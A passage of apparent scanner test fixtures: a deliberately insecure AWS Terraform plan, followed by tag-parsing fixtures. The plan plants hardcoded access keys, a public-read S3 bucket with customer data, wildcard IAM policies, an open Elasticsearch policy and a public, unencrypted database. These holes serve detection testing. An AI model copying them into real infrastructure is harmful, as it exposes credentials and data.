"aws_instance.web_host" ] }, "description": "Web Host Public DNS name" }, "endpoint": { "expression": { "references": [ "aws_eks_cluster.eks_cluster" ] } }, "kubeconfig-certificate-authority-data": { "expression": { "references": [ "aws_eks_cluster.eks_cluster" ] } }, "public_subnet": { "expression": { "references": [ "aws_subnet.web_subnet" ] }, "description": "The ID of the Public subnet" }, "public_subnet2": { "expression": { "references": [ "aws_subnet.web_subnet2" ] }, "description": "The ID of the Public subnet" }, "secret": { "expression": { "references": [ "aws_iam_access_key.user" ] } }, "username": { "expression": { "references": [ "aws_iam_user.user" ] } }, "vpc_id": { "expression": { "references": [ "aws_vpc.web_vpc" ] }, "description": "The ID of the VPC" } }, "resources": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_config_key": "aws", "expressions": { "allocated_storage": { "constant_value": "20" }, "apply_immediately": { "constant_value": true }, "backup_retention_period": { "constant_value": 0 }, "db_subnet_group_name": { "references": [ "aws_db_subnet_group.default" ] }, "engine": { "constant_value": "mysql" }, "engine_version": { "constant_value": "8.0" }, "identifier": { "references": [ "local.resource_prefix" ] }, "instance_class": { "constant_value": "db.t3.micro" }, "monitoring_interval": { "constant_value": 0 }, "multi_az": { "constant_value": false }, "name": { "references": [ "var.dbname" ] }, "option_group_name": { "references": [ "aws_db_option_group.default" ] }, "parameter_group_name": { "references": [ "aws_db_parameter_group.default" ] }, "password": { "references": [ "var.password" ] }, "publicly_accessible": { "constant_value": true }, "skip_final_snapshot": { "constant_value": true }, "storage_encrypted": { "constant_value": false }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "username": { "constant_value": "admin" }, "vpc_security_group_ids": { "references": [ "aws_security_group.default" ] } }, "schema_version": 1 }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_config_key": "aws", "expressions": { "engine_name": { "constant_value": "mysql" }, "major_engine_version": { "constant_value": "8.0" }, "name": { "references": [ "local.resource_prefix" ] }, "option_group_description": { "constant_value": "Terraform OG" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_config_key": "aws", "expressions": { "description": { "constant_value": "Terraform PG" }, "family": { "constant_value": "mysql8.0" }, "name": { "references": [ "local.resource_prefix" ] }, "parameter": [ { "apply_method": { "constant_value": "immediate" }, "name": { "constant_value": "character_set_client" }, "value": { "constant_value": "utf8" } }, { "apply_method": { "constant_value": "immediate" }, "name": { "constant_value": "character_set_server" }, "value": { "constant_value": "utf8" } } ], "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_config_key": "aws", "expressions": { "description": { "constant_value": "Terraform DB Subnet Group" }, "name": { "references": [ "local.resource_prefix" ] }, "subnet_ids": { "references": [ "aws_subnet.web_subnet", "aws_subnet.web_subnet2" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_config_key": "aws", "expressions": { "description": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "volume_id": { "references": [ "aws_ebs_volume.web_host_storage" ] } }, "schema_version": 0 }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "size": { "constant_value": 1 }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_config_key": "aws", "expressions": { "image_tag_mutability": { "constant_value": "MUTABLE" }, "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.eks_name" ] }, "role_arn": { "references": [ "aws_iam_role.iam_for_eks" ] }, "vpc_config": [ { "endpoint_private_access": { "constant_value": true }, "subnet_ids": { "references": [ "aws_subnet.eks_subnet1", "aws_subnet.eks_subnet2" ] } } ] }, "schema_version": 0, "depends_on": [ "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy" ] }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_config_key": "aws", "expressions": { "cluster_config": [ { "dedicated_master_count": { "constant_value": 1 }, "dedicated_master_enabled": { "constant_value": false }, "dedicated_master_type": { "constant_value": "m4.large.elasticsearch" }, "instance_count": { "constant_value": 1 }, "instance_type": { "constant_value": "t2.small.elasticsearch" } } ], "domain_name": { "references": [ "var.environment" ] }, "ebs_options": [ { "ebs_enabled": { "constant_value": true }, "volume_size": { "constant_value": 30 } } ], "elasticsearch_version": { "constant_value": "2.3" } }, "schema_version": 0 }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_config_key": "aws", "expressions": { "access_policies": { "references": [ "data.aws_iam_policy_document.policy" ] }, "domain_name": { "references": [ "aws_elasticsearch_domain.monitoring-framework" ] } }, "schema_version": 0 }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_config_key": "aws", "expressions": { "connection_draining": { "constant_value": true }, "connection_draining_timeout": { "constant_value": 400 }, "cross_zone_load_balancing": { "constant_value": true }, "health_check": [ { "healthy_threshold": { "constant_value": 2 }, "interval": { "constant_value": 30 }, "target": { "constant_value": "HTTP:8000/" }, "timeout": { "constant_value": 3 }, "unhealthy_threshold": { "constant_value": 2 } } ], "idle_timeout": { "constant_value": 400 }, "instances": { "references": [ "aws_instance.web_host" ] }, "listener": [ { "instance_port": { "constant_value": 8000 }, "instance_protocol": { "constant_value": "http" }, "lb_port": { "constant_value": 80 }, "lb_protocol": { "constant_value": "http" } } ], "name": { "constant_value": "weblb-terraform-elb" }, "security_groups": { "references": [ "aws_security_group.web-node" ] }, "subnets": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "constant_value": { "Name": "foobar-terraform-elb" } } }, "schema_version": 0 }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_config_key": "aws", "expressions": { "log_destination": { "references": [ "aws_s3_bucket.flowbucket" ] }, "log_destination_type": { "constant_value": "s3" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "traffic_type": { "constant_value": "ALL" }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_config_key": "aws", "expressions": { "user": { "references": [ "aws_iam_user.user" ] } }, "schema_version": 0 }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "role": { "references": [ "aws_iam_role.ec2role" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n" }, "name": { "references": [ "local.resource_prefix" ] }, "path": { "constant_value": "/" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "references": [ "data.aws_iam_policy_document.iam_policy_eks" ] }, "name": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_config_key": "aws", "expressions": { "assume_role_policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n" }, "name": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "role": { "references": [ "aws_iam_role.ec2role" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_config_key": "aws", "expressions": { "policy_arn": { "constant_value": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy" }, "role": { "references": [ "aws_iam_role.iam_for_eks" ] } }, "schema_version": 0 }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_config_key": "aws", "expressions": { "policy_arn": { "constant_value": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy" }, "role": { "references": [ "aws_iam_role.iam_for_eks" ] } }, "schema_version": 0 }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_config_key": "aws", "expressions": { "force_destroy": { "constant_value": true }, "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_config_key": "aws", "expressions": { "name": { "constant_value": "excess_policy" }, "policy": { "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "user": { "references": [ "aws_iam_user.user" ] } }, "schema_version": 0 }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_config_key": "aws", "expressions": { "ami": { "references": [ "data.aws_ami.amazon-linux-2" ] }, "iam_instance_profile": { "references": [ "aws_iam_instance_profile.ec2profile" ] }, "instance_type": { "constant_value": "t2.nano" }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "user_data": { "references": [ "aws_db_instance.default", "aws_db_instance.default", "var.password", "aws_db_instance.default" ] }, "vpc_security_group_ids": { "references": [ "aws_security_group.web-node" ] } }, "schema_version": 1 }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_config_key": "aws", "expressions": { "ami": { "references": [ "var.ami" ] }, "instance_type": { "constant_value": "t2.nano" }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] }, "user_data": { "constant_value": "#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMAAA\nexport AWS_SECRET_ACCESS_KEY=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\nexport AWS_DEFAULT_REGION=us-west-2\necho \"\u003ch1\u003eDeployed via Terraform\u003c/h1\u003e\" | sudo tee /var/www/html/index.html\n" }, "vpc_security_group_ids": { "references": [ "aws_security_group.web-node" ] } }, "schema_version": 1 }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_config_key": "aws", "expressions": { "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "target_key_id": { "references": [ "aws_kms_key.logs_key" ] } }, "schema_version": 0 }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_config_key": "aws", "expressions": { "deletion_window_in_days": { "constant_value": 7 }, "description": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_config_key": "aws", "expressions": { "environment": [ { "variables": { "constant_value": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } } ], "filename": { "constant_value": "resources/lambda_function_payload.zip" }, "function_name": { "references": [ "local.resource_prefix" ] }, "handler": { "constant_value": "exports.test" }, "role": { "references": [ "aws_iam_role.iam_for_lambda" ] }, "runtime": { "constant_value": "nodejs12.x" }, "source_code_hash": {} }, "schema_version": 0 }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_config_key": "aws", "expressions": { "apply_immediately": { "constant_value": true }, "backup_retention_period": { "constant_value": 5 }, "cluster_identifier": { "references": [ "var.neptune-dbname" ] }, "engine": { "constant_value": "neptune" }, "iam_database_authentication_enabled": { "constant_value": false }, "preferred_backup_window": { "constant_value": "07:00-09:00" }, "skip_final_snapshot": { "constant_value": true }, "storage_encrypted": { "constant_value": false } }, "schema_version": 0 }, { "address": "aws_neptune_cluster_instance.default", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "provider_config_key": "aws", "expressions": { "apply_immediately": { "constant_value": true }, "cluster_identifier": { "references": [ "aws_neptune_cluster.default" ] }, "engine": { "constant_value": "neptune" }, "instance_class": { "constant_value": "db.t3.medium" } }, "schema_version": 0, "count_expression": { "constant_value": 1 } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_config_key": "aws", "expressions": { "db_cluster_identifier": { "references": [ "aws_neptune_cluster.default" ] }, "db_cluster_snapshot_identifier": { "constant_value": "resourcetestsnapshot1" } }, "schema_version": 0 }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_config_key": "aws", "expressions": { "private_ips": { "constant_value": [ "172.16.10.100" ] }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_config_key": "aws", "expressions": { "destination_cidr_block": { "constant_value": "0.0.0.0/0" }, "gateway_id": { "references": [ "aws_internet_gateway.web_igw" ] }, "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "timeouts": { "create": { "constant_value": "5m" } } }, "schema_version": 0 }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_config_key": "aws", "expressions": { "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 0 }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_config_key": "aws", "expressions": { "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "subnet_id": { "references": [ "aws_subnet.web_subnet" ] } }, "schema_version": 0 }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_config_key": "aws", "expressions": { "route_table_id": { "references": [ "aws_route_table.web_rtb" ] }, "subnet_id": { "references": [ "aws_subnet.web_subnet2" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "public-read" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "logging": [ { "target_bucket": { "references": [ "aws_s3_bucket.logs" ] }, "target_prefix": { "constant_value": "log/" } } ], "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "log-delivery-write" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": { "references": [ "aws_kms_key.logs_key" ] }, "sse_algorithm": { "constant_value": "aws:kms" } } ] } ] } ], "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "private" }, "bucket": { "references": [ "local.resource_prefix" ] }, "force_destroy": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "versioning": [ { "enabled": { "constant_value": true } } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.data" ] }, "key": { "constant_value": "customer-master.xlsx" }, "source": { "constant_value": "resources/customer-master.xlsx" }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] } }, "schema_version": 0 }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_config_key": "aws", "expressions": { "name": { "references": [ "local.resource_prefix" ] }, "tags": { "references": [ "local.resource_prefix", "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_config_key": "aws", "expressions": { "description": { "references": [ "local.resource_prefix" ] }, "name": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1, "depends_on": [ "aws_vpc.web_vpc" ] }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_config_key": "aws", "expressions": { "cidr_blocks": { "constant_value": [ "0.0.0.0/0" ] }, "from_port": { "constant_value": 0 }, "protocol": { "constant_value": "-1" }, "security_group_id": { "references": [ "aws_security_group.default" ] }, "to_port": { "constant_value": 0 }, "type": { "constant_value": "egress" } }, "schema_version": 2 }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_config_key": "aws", "expressions": { "cidr_blocks": { "references": [ "aws_vpc.web_vpc" ] }, "from_port": { "constant_value": "3306" }, "protocol": { "constant_value": "tcp" }, "security_group_id": { "references": [ "aws_security_group.default" ] }, "to_port": { "constant_value": "3306" }, "type": { "constant_value": "ingress" } }, "schema_version": 2 }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "cidr_block": { "constant_value": "10.10.10.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.eks_name" ] }, "vpc_id": { "references": [ "aws_vpc.eks_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone2" ] }, "cidr_block": { "constant_value": "10.10.11.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix", "local.eks_name" ] }, "vpc_id": { "references": [ "aws_vpc.eks_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone" ] }, "cidr_block": { "constant_value": "172.16.10.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_config_key": "aws", "expressions": { "availability_zone": { "references": [ "var.availability_zone2" ] }, "cidr_block": { "constant_value": "172.16.11.0/24" }, "map_public_ip_on_launch": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] }, "vpc_id": { "references": [ "aws_vpc.web_vpc" ] } }, "schema_version": 1 }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_config_key": "aws", "expressions": { "device_name": { "constant_value": "/dev/sdh" }, "instance_id": { "references": [ "aws_instance.web_host" ] }, "volume_id": { "references": [ "aws_ebs_volume.web_host_storage" ] } }, "schema_version": 0 }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_config_key": "aws", "expressions": { "cidr_block": { "constant_value": "10.10.0.0/16" }, "enable_dns_hostnames": { "constant_value": true }, "enable_dns_support": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 1 }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_config_key": "aws", "expressions": { "cidr_block": { "constant_value": "172.16.0.0/16" }, "enable_dns_hostnames": { "constant_value": true }, "enable_dns_support": { "constant_value": true }, "tags": { "references": [ "local.resource_prefix" ] } }, "schema_version": 1 }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_config_key": "null", "provisioners": [ { "type": "local-exec", "expressions": { "command": { "references": [ "var.region", "data.aws_caller_identity.current", "var.region", "aws_ecr_repository.repository", "aws_ecr_repository.repository", "local.docker_image", "local.docker_image" ] }, "working_dir": { "references": [ "path.module" ] } } } ], "schema_version": 0 }, { "address": "data.aws_ami.amazon-linux-2", "mode": "data", "type": "aws_ami", "name": "amazon-linux-2", "provider_config_key": "aws", "expressions": { "filter": [ { "name": { "constant_value": "owner-alias" }, "values": { "constant_value": [ "amazon" ] } }, { "name": { "constant_value": "name" }, "values": { "constant_value": [ "amzn2-ami-hvm-*-x86_64-ebs" ] } } ], "most_recent": { "constant_value": true }, "owners": { "constant_value": [ "amazon" ] } }, "schema_version": 0 }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_config_key": "aws", "schema_version": 0 }, { "address": "data.aws_iam_policy_document.iam_policy_eks", "mode": "data", "type": "aws_iam_policy_document", "name": "iam_policy_eks", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "sts:AssumeRole" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "eks.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ] } ] }, "schema_version": 0 }, { "address": "data.aws_iam_policy_document.policy", "mode": "data", "type": "aws_iam_policy_document", "name": "policy", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "es:*" ] }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "AWS" } } ], "resources": { "constant_value": [ "*" ] } } ] }, "schema_version": 0 } ], "variables": { "ami": { "default": "ami-09a5b0b7edf08843d" }, "availability_zone": { "default": "us-west-2a" }, "availability_zone2": { "default": "us-west-2b" }, "company_name": { "default": "acme" }, "dbname": { "default": "db1", "description": "Name of the Database" }, "environment": { "default": "dev" }, "neptune-dbname": { "default": "neptunedb1", "description": "Name of the Neptune graph database" }, "password": { "default": "Aa1234321Bb", "description": "Database password" }, "profile": { "default": "default" }, "region": { "default": "us-west-2" } } } } } ================================================ FILE: tests/terraform/parser/resources/plan_tags_variety/tags.tf ================================================ resource "aws_dynamodb_table" "basic-dynamodb-table" { name = "test" billing_mode = "PROVISIONED" read_capacity = 20 write_capacity = 20 hash_key = "test" range_key = "test" attribute { name = "test" type = "S" } attribute { name = "test" type = "S" } server_side_encryption { enabled = true kms_key_arn = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" } point_in_time_recovery { enabled = true } tags = { "tag1" = "test" "tag2" = "test" } } resource "aws_autoscaling_group" "example" { max_size = 1 min_size = 1 health_check_type = "ELB" vpc_zone_identifier = ["arn:aws:vpc:some_vpc"] launch_configuration = "test" tags = [ { key = "tag1" value = "test" propagate_at_launch = true }, { key = "tag2" value = "test" propagate_at_launch = true }, ] } resource "aws_autoscaling_group" "example2" { max_size = 1 min_size = 1 launch_configuration = "test" tag { key = "tag1" value = "test" propagate_at_launch = true } tag { key = "tag2" value = "test" propagate_at_launch = true } } ================================================ FILE: tests/terraform/parser/resources/plan_tags_variety/tfplan.json ================================================ { "format_version": "0.2", "terraform_version": "1.0.7", "planned_values": { "root_module": { "resources": [ { "address": "aws_autoscaling_group.example", "mode": "managed", "type": "aws_autoscaling_group", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "capacity_rebalance": null, "enabled_metrics": null, "force_delete": false, "force_delete_warm_pool": false, "health_check_grace_period": 300, "health_check_type": "ELB", "initial_lifecycle_hook": [], "instance_refresh": [], "launch_configuration": "test", "launch_template": [], "load_balancers": null, "max_instance_lifetime": null, "max_size": 1, "metrics_granularity": "1Minute", "min_elb_capacity": null, "min_size": 1, "mixed_instances_policy": [], "placement_group": null, "protect_from_scale_in": false, "suspended_processes": null, "tag": [], "tags": [ { "key": "tag1", "propagate_at_launch": "true", "value": "test" }, { "key": "tag2", "propagate_at_launch": "true", "value": "test" } ], "target_group_arns": null, "termination_policies": null, "timeouts": null, "vpc_zone_identifier": [ "arn:aws:vpc:some_vpc" ], "wait_for_capacity_timeout": "10m", "wait_for_elb_capacity": null, "warm_pool": [] }, "sensitive_values": { "availability_zones": [], "initial_lifecycle_hook": [], "instance_refresh": [], "launch_template": [], "mixed_instances_policy": [], "tag": [], "tags": [ {}, {} ], "vpc_zone_identifier": [ false ], "warm_pool": [] } }, { "address": "aws_autoscaling_group.example2", "mode": "managed", "type": "aws_autoscaling_group", "name": "example2", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "capacity_rebalance": null, "enabled_metrics": null, "force_delete": false, "force_delete_warm_pool": false, "health_check_grace_period": 300, "initial_lifecycle_hook": [], "instance_refresh": [], "launch_configuration": "test", "launch_template": [], "load_balancers": null, "max_instance_lifetime": null, "max_size": 1, "metrics_granularity": "1Minute", "min_elb_capacity": null, "min_size": 1, "mixed_instances_policy": [], "placement_group": null, "protect_from_scale_in": false, "suspended_processes": null, "tag": [ { "key": "tag1", "propagate_at_launch": true, "value": "test" }, { "key": "tag2", "propagate_at_launch": true, "value": "test" } ], "tags": null, "target_group_arns": null, "termination_policies": null, "timeouts": null, "wait_for_capacity_timeout": "10m", "wait_for_elb_capacity": null, "warm_pool": [] }, "sensitive_values": { "availability_zones": [], "initial_lifecycle_hook": [], "instance_refresh": [], "launch_template": [], "mixed_instances_policy": [], "tag": [ {}, {} ], "vpc_zone_identifier": [], "warm_pool": [] } }, { "address": "aws_dynamodb_table.basic-dynamodb-table", "mode": "managed", "type": "aws_dynamodb_table", "name": "basic-dynamodb-table", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 1, "values": { "attribute": [ { "name": "test", "type": "S" } ], "billing_mode": "PROVISIONED", "global_secondary_index": [], "hash_key": "test", "local_secondary_index": [], "name": "test", "point_in_time_recovery": [ { "enabled": true } ], 